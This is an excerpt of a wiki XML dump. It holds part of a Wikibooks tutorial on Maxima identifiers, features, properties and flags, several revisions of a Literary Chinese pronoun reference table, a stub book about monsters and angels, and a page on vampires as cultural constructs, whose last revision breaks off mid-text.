As was mentioned previously, versions of Maxima, and specifically the ''wxMaxima'' GUI, support Unicode characters in identifiers, treating them as alphabetic characters without the need to be escaped, provided the underlying Lisp implementation and font support them. This support extends the set of characters available for use in composing identifiers. This support can be useful in using Greek letters and other mathematical symbols. For example:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i5)	Θ(s,r):= s/r;
(%o5)	Θ(s,r):=s/r

(%i6)	Θ(%pi/2,4); /* radians as a function of arc length and radius */
(%o6)	%pi/8
&lt;/syntaxhighlight&gt;Unicode can also be used in other ways in expressions:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i7)	declare(ℝ, feature); /* make ℝ a feature */
(%o7)	done

/* define a function to test identifiers for feature ℝ */
(%i8)	ℝ(x):= block( [q], 
	                 if not symbolp(x) 
	                 then
	                       q:sconcat(x,&quot; is not an indentifier&quot;) 
	                 elseif featurep(x, ℝ) 
	                 then 
	                       q:concat(x, &quot; ∈ ℝ&quot;)  
	                 else   
	                       q:concat(x, &quot;  ∉ ℝ&quot;),
	                 return (q) )$
	                 
(%i9)	declare(x,ℝ); /* make ℝ a feature of identifier x */
(%o9)	done

(%i10)	ℝ(x); /* check x for feature ℝ */
(%o10)	x ∈ ℝ

(%i11)	ℝ(w); /* check w for feature ℝ */
(%o11)	w  ∉ ℝ

(%i12)	ℝ(3); /* check 3 for feature ℝ  */
(%o12)	3 is not an indentifier
&lt;/syntaxhighlight&gt;Users should be aware of some aspects of using Unicode in the context of Maxima. First, apart from the ''wxMaxima'' GUI, using Unicode characters is likely to be a &quot;cut-and-paste&quot; operation using a character map of some kind. ''wxMaxima'' has built-in Unicode support which makes using these characters simple.

Second, there can be some anomalous behavior. For example:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i14)	℃;     /* This Unicode character ℃ (2103) is an acceptable symbol */
(%o14)	℃

(%i15)	symbolp(℃);    /* Maxima likes ℃ */
(%o15)	true

/* This Unicode character ℉ (2109) is an acceptable symbol */
(%i16)	symbolp(℉); 
(%o16)	true

/* This Unicode character ° (00B0) is an acceptable symbol */
(%i17)	symbolp(°) 
(%o17)	true

/* Maxima does not like this ° (00B0) character with another one */
(%i18)	symbolp(°R); 
incorrect syntax: R is not an infix operator
symbolp(°R)
         ^
         
/* Maxima likes this ° (00B0) character if escaped */
(%i19)	symbolp(\°R);     
(%o19)	true
&lt;/syntaxhighlight&gt;

==== Features: ====
The foregoing example demonstrates that '''''features''''' can be associated with identifiers.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;(%i10)	features;
(%o10)	[integer,noninteger,even,odd,rational,irrational,real,
         imaginary,complex,analytic,increasing,decreasing,oddfun
         evenfun,posfun,constant,commutative,lassociative,
         rassociative,symmetric,antisymmetric,integervalued,ℝ]&lt;/syntaxhighlight&gt;All of these features are built-in to Maxima except the last one – ℝ. ℝ is a user-defined feature. 

Maxima recognizes certain mathematical properties of functions and identifiers. These properties are called &quot;''features''&quot;. The operator &lt;code&gt;declare(&lt;var&gt;x&lt;/var&gt;,&lt;var&gt;foo&lt;/var&gt;)&lt;/code&gt; associates the feature &lt;var&gt;&lt;code&gt;foo&lt;/code&gt;&lt;/var&gt; with the function or identifier &lt;var&gt;x&lt;/var&gt;. The operator &lt;code&gt;declare(&lt;var&gt;foo&lt;/var&gt;, feature)&lt;/code&gt; declares a new feature &lt;var&gt;&lt;code&gt;foo&lt;/code&gt;&lt;/var&gt;.

For example, &lt;code&gt;declare(ℝ, feature)&lt;/code&gt; declares &lt;code&gt;ℝ&lt;/code&gt; as a user-defined feature.

The predicate operator &lt;code&gt;featurep(&lt;var&gt;x&lt;/var&gt;, ℝ&lt;/code&gt; returns &lt;code&gt;true&lt;/code&gt; if &lt;var&gt;x&lt;/var&gt; has the ℝ feature, and &lt;code&gt;false&lt;/code&gt; otherwise.

==== Properties: ====
In addition to features, '''''properties''''' can be attributed to identifiers using the &lt;code&gt;put &lt;var&gt;(atom, value, indicator)&lt;/var&gt;&lt;/code&gt; operator or the &lt;code&gt;qput &lt;var&gt;(atom, value, indicator)&lt;/var&gt;&lt;/code&gt; operator. The terminology used with these operators can be confusing. These operators attribute a ''property'' using the argument named &lt;code&gt;indicator&lt;/code&gt; and assign a value to the indicator using the argument named &lt;code&gt;value&lt;/code&gt; to that indicator. The difference between these two operators is that &lt;code&gt;put&lt;/code&gt; evaluates arguments and &lt;code&gt;qput&lt;/code&gt; does not. The Maxima documentation explains as follows:&lt;blockquote&gt;
; '''put''' &lt;var&gt;(atom, value, indicator)&lt;/var&gt;

Assigns &lt;var&gt;value&lt;/var&gt; to the property (specified by &lt;var&gt;indicator&lt;/var&gt;) of &lt;var&gt;atom&lt;/var&gt;.  &lt;var&gt;indicator&lt;/var&gt; may be the name of any property, not just a system-defined property.

&lt;code&gt;rem&lt;/code&gt; reverses the effect of &lt;code&gt;put&lt;/code&gt;.

&lt;code&gt;put&lt;/code&gt; evaluates its arguments. &lt;code&gt;put&lt;/code&gt; returns &lt;var&gt;value&lt;/var&gt;.

;
; '''qput''' &lt;var&gt;(atom, value, indicator)&lt;/var&gt;
: Assigns &lt;var&gt;value&lt;/var&gt; to the property (specified by &lt;var&gt;indicator&lt;/var&gt;) of &lt;var&gt;atom&lt;/var&gt;. This is the same as &lt;code&gt;put&lt;/code&gt;, except that the arguments are quoted.
&lt;/blockquote&gt;What &quot;quoted&quot; means in this context is that the evaluation of the arguments is suppressed.

The operator &lt;code&gt;get&lt;var&gt;(a&lt;/var&gt;&lt;var&gt;tom, indicator)&lt;/var&gt;&lt;/code&gt; returns the property indicated by &lt;code&gt;indicator&lt;/code&gt; associated with the identifier (&lt;code&gt;atom&lt;/code&gt;) or returns &lt;code&gt;false&lt;/code&gt; if &lt;code&gt;atom&lt;/code&gt; doesn’t have the property &lt;code&gt;indicator&lt;/code&gt;. The operator &lt;code&gt;get&lt;/code&gt; evaluates its arguments. 

The fog of this word salad can be lifted by way of an example. The following from the Maxima Manual exemplifies the use of the &lt;code&gt;put&lt;/code&gt; and &lt;code&gt;get&lt;/code&gt;  operators:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;(%i11)	put (%e, 'transcendental, 'type);
(%o11)	transcendental

(%12)	put (%pi, 'transcendental, 'type);
(%o12)	transcendental

(%i13)	put (%i, 'algebraic, 'type);
(%o13)	algebraic

(%i14)	typeof (expr) := block ([q],
	        if numberp (expr)
	        then return ('algebraic),
	        if not atom (expr)
	        then return (maplist ('typeof, expr)),
	        q: get (expr, 'type),
	        if q=false
	        then errcatch (error(expr,&quot;is not numeric.&quot;)) 
	        else q)$
	        
(%i15)	typeof (2*%e + x*%pi);
x is not numeric.
(%o15)	[[transcendental,[]],[algebraic,transcendental]]

(%i16)	typeof (2*%e + %pi);
(%o16)	[transcendental,[algebraic,transcendental]]&lt;/syntaxhighlight&gt;These expressions provide examples  of the use of &lt;code&gt;put&lt;/code&gt; and &lt;code&gt;get&lt;/code&gt; operators. The indicator for the property used is quoted ( &lt;code&gt;'type&lt;/code&gt; ) presumably to prevent its evaluation in order to prevent a possible clash with a Maxima system identifier with the same name.

An identifier can have multiple attributed properties. The same property can be attributed to different identifiers with different values.

This example also demonstrates the recursive use of the user-defined function &lt;code&gt;typeof&lt;/code&gt;.

==== Maxima System Constants: ====
Maxima provides built-in identifiers used to reference some frequently used constants. Among these are &lt;code&gt;%e&lt;/code&gt;, &lt;code&gt;%i&lt;/code&gt;, &lt;code&gt;%gamma&lt;/code&gt;, and &lt;code&gt;%phi&lt;/code&gt;, as well as others. Refer to the Maxima documentation for the full list of built-in constants and the related technical details.

==== Maxima System Labels: ====
The following table summarizes the built-in identifier labels for input and output expressions:
{| class=&quot;wikitable&quot;
|+Maxima Input and Output Labels
!Label
!Value
!
!
|-
|%
|last output expression 
|
|
|-
|%in
|input expression as labeled
|
|
|-
|%on
|output expression as labeled
|
|
|}
The value of &lt;code&gt;n&lt;/code&gt; within these labels is generated automatically and sequentially by Maxima. The values of &lt;code&gt;n&lt;/code&gt; are numerals for the natural numbers starting at &lt;code&gt;1&lt;/code&gt;. These labels can serve as a sort of handy shorthand as identifiers for referencing expressions. However, users should be aware that reliance on these labels in certain cases can result in unexpected and unwanted side-effects, as well as a negative effect on the readability of saved expressions. 

The system labels &lt;code&gt;%z7&lt;/code&gt; and &lt;code&gt;%z9&lt;/code&gt; represent any arbitrary integer value. These labels also are automatically generated by Maxima, and typically appear in the output of equation-solving functions (such as &lt;code&gt;solve&lt;/code&gt;) when the solution involves periodic or multi-valued mathematical expressions, such as complex logarithms or roots. They serve as integer parameters to indicate that the solution is valid for any integer value assigned to them. 

==== Maxima System Flags: ====
There are built-in Maxima system identifiers that serve special purposes. These identifiers may be referred to as '''''option variables''''' or '''''flags'''''. Frequently, these flags have the value of &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; , with one or the other as the default value. These flags are relatively many in number, and too numerous to exemplify here. 

One flag that can serve as an example is &lt;code&gt;simp&lt;/code&gt;:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i17)	simp; /* The default value of simp is true */
(%o17)	true

(%i18)	3+4; /* simplification is active */
(%o18)	7

(%i19)	21/7; /* simplification is active */
(%o19)	3

(%i20)	simp:false; /* the value of simp is assigned false */
(simp)	false

(%i21	3+4; /* simplification is not active */
(%o21)	3+4

(%i22)	21/7; /* simplification is not active */
(%o22)	21/7

&lt;/syntaxhighlight&gt;

It may be a counter-intuitive recognition that calculations like these simple examples are a matter of simplification and not evaluation, but that is the case even if more complex expressions are involved.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	x:3; /* identifier x is assigned the value of 3 */
(x)	3

(%i24)	x; /* the value of x is 3 by evaluation */
(%o24)	3

(%i25)	x+4; /* this expression is evaluated but not simplified */
(%o25)	3+4

&lt;/syntaxhighlight&gt;Assigning the &lt;code&gt;simp&lt;/code&gt; flag to &lt;code&gt;true&lt;/code&gt; allows simplification to occur:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i26)	simp:true; /* the simp flag is assigned true */
(simp)	true

(%i27)	x+4; /* this expression is evaluated and now simplified */
(%o27)	7
&lt;/syntaxhighlight&gt;{{BookCat}}</text>
      <sha1>tnxxctz11ta20jglygvys9sowh9j35o</sha1>
    </revision>
  </page>
  <page>
    <title>General Literary Chinese from Scratch/Pronoun Table</title>
    <ns>0</ns>
    <id>485069</id>
    <revision>
      <id>4670433</id>
      <parentid>4656180</parentid>
      <timestamp>2026-09-16T13:57:45Z</timestamp>
      <contributor>
        <username>Shira the Mogul</username>
        <id>3560559</id>
      </contributor>
      <minor />
      <comment>/* Grammar */ it is ergative-absolutive...</comment>
      <origin>4670433</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4138" sha1="ivazzdqa4xnz6aki6v026j7rx6n1gt1" xml:space="preserve">This is a quick reference for Literary Chinese pronouns.

==Table==
The following pronouns are grouped by their reconstructed Old Chinese groupings; they are always used together.

{| class=&quot;wikitable&quot;
! Person
! Period or group
! Subject/agent bias
! Object/patient bias
! Possessive bias
|-
! rowspan=&quot;4&quot; | 1st
| ŋ-series
| 吾
| 我
| 吾
|-
| j/l-series
| 余
| 予
| 朕
|-
| pre-Classical
| 卬
| ?
| 台
|-
| Medieval
| 儂
| —
| —
|-
! rowspan=&quot;2&quot; | 2nd
| Classical
| 汝
| 爾
| 爾
|-
| pre-Classical
| 若／如／而
| 若／如
| —
|-
! rowspan=&quot;3&quot; | 3rd
| Classical
| omitted
| 之
| 其
|-
| pre-Classical
| —
| —
| 厥
|-
| Medieval
| 伊、渠
| —
| —
|}

==Grammar==
Earlier Literary Chinese prefers different pronouns according to their grammatical position. For example, whereas we use &quot;I&quot; in English, in Literary Chinese, 吾 is especially common as a subject or possessor, whilst 我 is common as an object. For example, in &quot;Confucius said to Zi Lu,&quot; Confucius would be the Subject, and Zi Lu would be the Object. Therefore, to say &quot;I kicked the ball,&quot; you would need the Subject-biased pronouns, whilst to say &quot;The ball was kicked by me,&quot; you would need the Object-biased pronouns. Of the pronouns in the table, it is recommended to use 吾/我 or 余/予 and stick to them. The former is more common, though the latter still survives and can be seen even in Song and Ming dynasty work. 

Technically, the decision between 吾/我 was largely whether or not the event was affecting you, but it is easier to think of it as before or after a verb starting out. If something affects you, that is when you 我! 

Putting this into practice, using the common Classical pronouns:
* 吾適周 — I went to Zhou.
* 孔子見我 — Confucius saw me.
* 汝為誰 — Who are you?
* 汝何如 — How are you?
* 田中氏有爾貓 — Tanaka has your cat.
* 世宗作諺文，以之書韓語 — Sejong created Hangul and used it to write Korean.

We use &quot;bias&quot; here as these rules were not rigid: The rule was being forgotten come the late Classical era (around the end of the Qin dynasty), but can still be seen being followed even during the times of the Ming dynasty, such as in Jibong's Discourses (芝峰類說) from Korea. Therefore, it is still reasonable to follow.

==Notes==
* 我, 予, and 爾 can be used in the subject position emphatically; this is often read as conveying strong emotion.
* 我 can be used as a general-purpose &quot;we&quot; in later Literary Chinese. Because Literary Chinese does not count number, it can be read as a singular or plural. 
* 子 and 君 are also sometimes used as honorific second-person expressions, while 妾 and 臣 may function as humble first-person expressions. Strictly speaking, however, these remain nouns rather than personal pronouns.
* Pre-Qin rulers usually used 余 as a &quot;royal we,&quot; which is particularly visible in Shang oracle bones. From the Qin dynasty onward, Emperors would use 朕.
** During the Shang dynasty, 朕 was used as a general possessive.
* 台 super-rarely appears in a subject/agent position. 
* Pre-Classical pronouns are very rarely seen and are typically reserved to quotations from the Book of Documents and Classic of Poetry. As these are very commonly quoted, though, it is worth remembering them.

==References==
* Aldridge, E. (2018). Inherent case in Archaic Chinese. Proceedings of the Linguistic Society of America, 3, 3. https://doi.org/10.3765/plsa.v3i1.4284
* Barnes, A. C., Starr, D., &amp; Ormerod, G. (2009). Du’s handbook of classical Chinese grammar: An introduction to classical Chinese grammar. Alcuin Academics.
* Pulleyblank, E. G. (2000). Outline of classical Chinese grammar (Repr). UBC Press.
* Takeshi, N. (1994). On the Differences of the Usages of First person Pronouns between the Chuci and other Texts in Classical Chinese. In 第一届国际先秦汉语语法研讨会论文集 (pp. 364–382). 岳麓书社出版. https://catalog.lib.kyushu-u.ac.jp/opac_download_md/18275/p364-382.pdf
* Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company].

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      <minor />
      <comment>REAL and TRUE notes</comment>
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      <text bytes="4353" sha1="3zfmghflfb4tdankg3i6f1ubv3jjkgx" xml:space="preserve">This is a quick reference for Literary Chinese pronouns.

==Table==
The following pronouns are grouped by their reconstructed Old Chinese groupings; they are always used together.

{| class=&quot;wikitable&quot;
! Person
! Period or group
! Subject/agent bias
! Object/patient bias
! Possessive bias
|-
! rowspan=&quot;4&quot; | 1st
| ŋ-series
| 吾
| 我{{efn|我 can be used as a general-purpose &quot;we&quot; in later Literary Chinese. Because Literary Chinese does not count number, it can be read as a singular or plural.}}
| 吾
|-
| j/l-series
| 余{{efn|Pre-Qin rulers usually used 余 as a &quot;royal we,&quot; which is particularly visible in Shang oracle bones. From the Qin dynasty onward, Emperors would use 朕.}}
| 予{{efn|我, 予, and 爾 can be used in the subject position emphatically; this is often read as conveying strong emotion, but it is more about whether or not the event is affecting the individual mentioned.}}
| 朕{{efn|During the Shang dynasty, 朕 was used as a general possessive.}}
|-
| pre-Classical
| 卬
| ?
| 台{{efn|台 super-rarely appears in a subject/agent position.}}
|-
| Medieval
| 儂
| —
| —
|-
! rowspan=&quot;2&quot; | 2nd
| Classical
| 汝
| 爾
| 爾
|-
| pre-Classical{{efn|Pre-Classical pronouns are very rarely seen and are typically reserved to quotations from the Book of Documents and Classic of Poetry. As these are very commonly quoted, though, it is worth remembering them.}}
| 若／如／而
| 若／如
| —
|-
! rowspan=&quot;3&quot; | 3rd
| Classical
| omitted
| 之
| 其
|-
| pre-Classical
| —
| —
| 厥
|-
| Medieval
| 伊、渠
| —
| —
|}

==Grammar==
Earlier Literary Chinese prefers different pronouns according to their grammatical position. For example, whereas we use &quot;I&quot; in English, in Literary Chinese, 吾 is especially common as a subject or possessor, whilst 我 is common as an object. For example, in &quot;Confucius said to Zi Lu,&quot; Confucius would be the Subject, and Zi Lu would be the Object. Therefore, to say &quot;I kicked the ball,&quot; you would need the Subject-biased pronouns, whilst to say &quot;The ball was kicked by me,&quot; you would need the Object-biased pronouns. Of the pronouns in the table, it is recommended to use 吾/我 or 余/予 and stick to them. The former is more common, though the latter still survives and can be seen even in Song and Ming dynasty work. 

Technically, the decision between 吾/我 was largely whether or not the event was affecting you, but it is easier to think of it as before or after a verb starting out. If something affects you, that is when you 我!{{efn|In linguistics, we therefore call Classical Chinese an ergative-absolutive language.}}

Putting this into practice, using the common Classical pronouns:
* 吾適周 — I went to Zhou.
* 孔子見我 — Confucius saw me.
* 汝為誰 — Who are you?
* 汝何如 — How are you?
* 田中氏有爾貓 — Tanaka has your cat.
* 世宗作諺文，以之書韓語 — Sejong created Hangul and used it to write Korean.

We use &quot;bias&quot; here as these rules were not rigid: The rule was being forgotten come the late Classical era (around the end of the Qin dynasty), but can still be seen being followed even during the times of the Ming dynasty, such as in Jibong's Discourses (芝峰類說) from Korea. Therefore, it is still reasonable to follow.

子 and 君 are also sometimes used as honorific second-person expressions, while 妾 and 臣 may function as humble first-person expressions. Strictly speaking, however, these remain nouns rather than personal pronouns.

==Notes==
{{notelist}}

==References==
* Aldridge, E. (2018). Inherent case in Archaic Chinese. Proceedings of the Linguistic Society of America, 3, 3. https://doi.org/10.3765/plsa.v3i1.4284
* Barnes, A. C., Starr, D., &amp; Ormerod, G. (2009). Du’s handbook of classical Chinese grammar: An introduction to classical Chinese grammar. Alcuin Academics.
* Pulleyblank, E. G. (2000). Outline of classical Chinese grammar (Repr). UBC Press.
* Takeshi, N. (1994). On the Differences of the Usages of First person Pronouns between the Chuci and other Texts in Classical Chinese. In 第一届国际先秦汉语语法研讨会论文集 (pp. 364–382). 岳麓书社出版. https://catalog.lib.kyushu-u.ac.jp/opac_download_md/18275/p364-382.pdf
* Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company].

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      <text bytes="1543" sha1="kjmdj9hqba1put9n467enidanw4ndxl" xml:space="preserve"> &lt;br&gt;'''Monster, a threatening force from the far-side.''' &lt;br&gt;&lt;br&gt;This book will introduce 4 fictional creations with odd human connections: &lt;br&gt;zombie-person &lt;br&gt;hungry-ghost-person &lt;br&gt;ghost-person &lt;br&gt;demon-person &lt;br&gt;...and Angels. &lt;br&gt;&lt;br&gt;This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels.

&lt;br&gt;

{| class=&quot;wikitable&quot;
|+ About Monsters And Angels
|-
! Guardian Angel !! The Sleep Of Reason Produces Monsters
|-
| [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]]
|}
&lt;br&gt; 
 &lt;br&gt;Chapter One &lt;br&gt;Chapter Two&lt;br&gt;Chapter Three&lt;br&gt;Chapter Four&lt;br&gt;Chapter Five&lt;br&gt;Chapter Six&lt;br&gt;Chapter Seven&lt;br&gt;Chapter Eight&lt;br&gt;Chapter Nine&lt;br&gt;Chapter Ten&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
{{New book}}
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{{Formatting}}
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{{BookCat}}
{{Shelves|Literature|Paranormal|Cultural anthropology}}
[[Category:Book:About Monsters And Angels]]
&lt;br&gt;
{{status|0%}}
&lt;br&gt;
&lt;noinclude&gt;{{Chapter navigation with TOC||What Is Wikibooks|TOC mini}}&lt;/noinclude&gt;</text>
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    <revision>
      <id>4670569</id>
      <parentid>4670568</parentid>
      <timestamp>2026-09-17T05:06:44Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <origin>4670569</origin>
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      <text bytes="1570" sha1="q3zaruqdwxe71v03iribusdgcbybwam" xml:space="preserve"> &lt;br&gt;'''Monster, a threatening force from the far-side.''' &lt;br&gt;&lt;br&gt;This book will introduce 4 fictional creations with odd human connections: &lt;br&gt;zombie-person &lt;br&gt;hungry-ghost-person &lt;br&gt;ghost-person &lt;br&gt;demon-person &lt;br&gt;...and Angels. &lt;br&gt;&lt;br&gt;This book is intended as a short guidebook for readers interested in folklore, storytelling, monsters and angels.

&lt;br&gt;

{| class=&quot;wikitable&quot;
|+ About Monsters And Angels
|-
! Guardian Angel !! The Sleep Of Reason Produces Monsters
|-
| [[File:The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362).jpg|thumb|The story of our Christianity; an account of the struggles, persecutions, wars, and victories of Christians of all times (1893) (14783658362)]] || [[File:Plate 43 from 'Los Caprichos'- The sleep of reason produces monsters (El sueño de la razon produce monstruos) MET MM2149.jpg|thumb|Plate 43 from 'Los Caprichos': The sleep of reason produces monsters (El sueño de la razon produce monstruos), print, Goya (Francisco de Goya y Lucientes) (MET, 18.64(43))]]
|}
&lt;br&gt; 
 &lt;br&gt;'''Table Of Content:'''&lt;br&gt;Chapter One &lt;br&gt;Chapter Two&lt;br&gt;Chapter Three&lt;br&gt;Chapter Four&lt;br&gt;Chapter Five&lt;br&gt;Chapter Six&lt;br&gt;Chapter Seven&lt;br&gt;Chapter Eight&lt;br&gt;Chapter Nine&lt;br&gt;Chapter Ten&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
{{New book}}
&lt;br&gt;
{{Formatting}}
&lt;br&gt;
{{BookCat}}
{{Shelves|Literature|Paranormal|Cultural anthropology}}
[[Category:Book:About Monsters And Angels]]
&lt;br&gt;
{{status|0%}}
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&lt;noinclude&gt;{{Chapter navigation with TOC||What Is Wikibooks|TOC mini}}&lt;/noinclude&gt;</text>
      <sha1>q3zaruqdwxe71v03iribusdgcbybwam</sha1>
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  <page>
    <title>Create Vampires/Cultural Construct</title>
    <ns>0</ns>
    <id>485405</id>
    <revision>
      <id>4670451</id>
      <parentid>4670391</parentid>
      <timestamp>2026-09-16T16:15:08Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <comment>/* What Is A Cultural Construct? */</comment>
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      <text bytes="3623" sha1="43i02vr94i9qpsspi4pce47oydv5xb2" xml:space="preserve">== What Is A Cultural Construct? ==
&lt;br&gt;
According to studysmarter, &quot;Cultural constructs are the socially and historically developed ideas and practices that shape the way individuals perceive and interact with their world, influencing aspects like norms, values, and beliefs.&quot; [1] &lt;br&gt;
&lt;br&gt;
One writer on Quora writes: &quot;So, sexual reproduction is biological in origin. On the other hand, the gendered idea that male babies have blue-colored toys and nursey decorations, but female babies have pink-colored toys and nursery decorations, is a cultural construct.&quot; [2] &lt;br&gt;
&lt;br&gt;
A cultural construct is an idea, belief, or pattern of behavior that a society creates and passes down through shared experience. Cultural constructs are not universal or natural; they emerge from a community’s history, environment, values, fears, and storytelling traditions. They help define how a culture understands the world and how it teaches meaning to its members.

Examples of cultural constructs include beauty standards, taboos, rituals, moral lessons, and supernatural beings. These constructs reveal what a society protects, what it fears, and what it considers important.

Vampires as Cultural Constructs
Vampires are not simply fictional monsters. They are cultural responses to real concerns within the communities that created them. Each tradition’s vampire reflects specific social anxieties, spiritual beliefs, and historical conditions.

Different cultures developed different vampire figures because they faced different threats and held different worldviews. For example, some traditions focus on improper burial, others on spiritual imbalance, and others on community betrayal. These variations show how cultural constructs adapt to local needs and values.

Using Cultural Constructs in Vampire Lore
Writers can use cultural constructs to create richer and more respectful vampire lore. Instead of inventing traits randomly, writers can build vampires from the logic of a culture’s worldview.

This process begins by identifying the fears and values of the culture being represented. A vampire may embody a fear of contamination, betrayal, spiritual imbalance, or loss of identity. It may violate a cultural value such as purity, lineage, ritual correctness, or community cohesion.

By grounding vampire traits in cultural meaning, writers create lore that feels authentic rather than generic.
&lt;br&gt;
=== What Is A Cultural Vampire Construct? ===
&quot;A cultural vampire construct is a theoretical framework in cultural studies and literary criticism that views the vampire not just as a monster, but as a symbol created by society to represent deeper anxieties, power dynamics, and economic systems.&quot; [3] &lt;br&gt;
&lt;br&gt;
Q: How do people treat vampires in Fiction? &lt;br&gt;
Q: What cultural constructs in Fiction limit a vampire character from developing? &lt;br&gt;
Q: What ideas or beliefs help, or harm, vampires in Fiction? &lt;br&gt;
Q: Does the vampire symbolize something greater? &lt;br&gt;
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires/Vampires_In_Popular_Culture


{| class=&quot;wikitable&quot;
|+ References
|-
! What Is A Cultural Construct?
|-
|1. [https://www.studysmarter.co.uk/explanations/anthropology/cultural-anthropology/cultural-constructs/ www.studysmarter.co.uk - Cultural Construct]
|-
| 2. Wheeler, Kip &quot;What is the meaning of 'cultural construct?' 2021 quora.com
|-
| 3. SSRN eLibrary https://papers.ssrn.com Zurutuza, Kristian Perez. The Vampire as the Gender and Racial Construction of Western Capitalism's White Masculinity in English and American Gothic Literature. Date Written: November 1, 2015
|}

&lt;br&gt;

{{BookCat}}</text>
      <sha1>43i02vr94i9qpsspi4pce47oydv5xb2</sha1>
    </revision>
    <revision>
      <id>4670454</id>
      <parentid>4670451</parentid>
      <timestamp>2026-09-16T16:21:40Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <comment>/* What Is A Cultural Construct? */</comment>
      <origin>4670454</origin>
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      <text bytes="3693" sha1="o7kqbiq9fnqyqm0ubz5on3vp6c40wdi" xml:space="preserve">== What Is A Cultural Construct? ==
&lt;br&gt;
According to studysmarter, &quot;Cultural constructs are the socially and historically developed ideas and practices that shape the way individuals perceive and interact with their world, influencing aspects like norms, values, and beliefs.&quot; [1] &lt;br&gt;
&lt;br&gt;
One writer on Quora writes: &quot;So, sexual reproduction is biological in origin. On the other hand, the gendered idea that male babies have blue-colored toys and nursey decorations, but female babies have pink-colored toys and nursery decorations, is a cultural construct.&quot; [2] &lt;br&gt;
&lt;br&gt;
A cultural construct is an idea, belief, or pattern of behavior that a society creates and passes down through shared experience. Cultural constructs are not universal or natural; they emerge from a community’s history, environment, values, fears, and storytelling traditions. They help define how a culture understands the world and how it teaches meaning to its members.

Examples of cultural constructs include beauty standards, taboos, rituals, moral lessons, and supernatural beings. These constructs reveal what a society protects, what it fears, and what it considers important.

Vampires as Cultural Constructs: &lt;br&gt;
Vampires are not simply fictional monsters. They are cultural responses to real concerns within the communities that created them. Each tradition’s vampire reflects specific social anxieties, spiritual beliefs, and historical conditions.

Different cultures developed different vampire figures because they faced different threats and held different worldviews. For example, some traditions focus on improper burial, others on spiritual imbalance, and others on community betrayal. These variations show how cultural constructs adapt to local needs and values.

Using Cultural Constructs in Vampire Lore: &lt;br&gt;
Writers can use cultural constructs to create richer and more respectful vampire lore. Instead of inventing traits randomly, writers can build vampires from the logic of a culture’s worldview.

This process begins by identifying the fears and values of the culture being represented. A vampire may embody a fear of contamination, betrayal, spiritual imbalance, or loss of identity. It may violate a cultural value such as purity, lineage, ritual correctness, or community cohesion.

By grounding vampire traits in cultural meaning, writers create lore that feels authentic rather than generic.
&lt;br&gt;
=== What Is A Cultural Vampire Construct? ===
&quot;A cultural vampire construct is a theoretical framework in cultural studies and literary criticism that views the vampire not just as a monster, but as a symbol created by society to represent deeper anxieties, power dynamics, and economic systems.&quot; [3] &lt;br&gt;
&lt;br&gt;
Q: How do people treat vampires in Fiction? &lt;br&gt;
Q: What cultural constructs in Fiction limit a vampire character from developing? &lt;br&gt;
Q: What ideas or beliefs help, or harm, vampires in Fiction? &lt;br&gt;
Q: Does the vampire symbolize something greater? &lt;br&gt;
Q: What cultural fears can the vampire character reflect?
&lt;br&gt;
Link: https://en.wikibooks.org/wiki/Create_Vampires/Vampires_In_Popular_Culture


{| class=&quot;wikitable&quot;
|+ References
|-
! What Is A Cultural Construct?
|-
|1. [https://www.studysmarter.co.uk/explanations/anthropology/cultural-anthropology/cultural-constructs/ www.studysmarter.co.uk - Cultural Construct]
|-
| 2. Wheeler, Kip &quot;What is the meaning of 'cultural construct?' 2021 quora.com
|-
| 3. SSRN eLibrary https://papers.ssrn.com Zurutuza, Kristian Perez. The Vampire as the Gender and Racial Construction of Western Capitalism's White Masculinity in English and American Gothic Literature. Date Written: November 1, 2015
|}

&lt;br&gt;

{{BookCat}}</text>
      <sha1>o7kqbiq9fnqyqm0ubz5on3vp6c40wdi</sha1>
    </revision>
    <revision>
      <id>4670455</id>
      <parentid>4670454</parentid>
      <timestamp>2026-09-16T16:22:03Z</timestamp>
      <contributor>
        <username>3MMPEYTON</username>
        <id>3393808</id>
      </contributor>
      <origin>4670455</origin>
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      <format>text/x-wiki</format>
      <text bytes="3695" sha1="mpdbc2sxd26uzjgo6fb2oj8d3g4me1b" xml:space="preserve">== What Is A Cultural Construct? ==
&lt;br&gt;
According to studysmarter, &quot;Cultural constructs are the socially and historically developed ideas and practices that shape the way individuals perceive and interact with their world, influencing aspects like norms, values, and beliefs.&quot; [1] &lt;br&gt;
&lt;br&gt;
One writer on Quora writes: &quot;So, sexual reproduction is biological in origin. On the other hand, the gendered idea that male babies have blue-colored toys and nursey decorations, but female babies have pink-colored toys and nursery decorations, is a cultural construct.&quot; [2] &lt;br&gt;
&lt;br&gt;
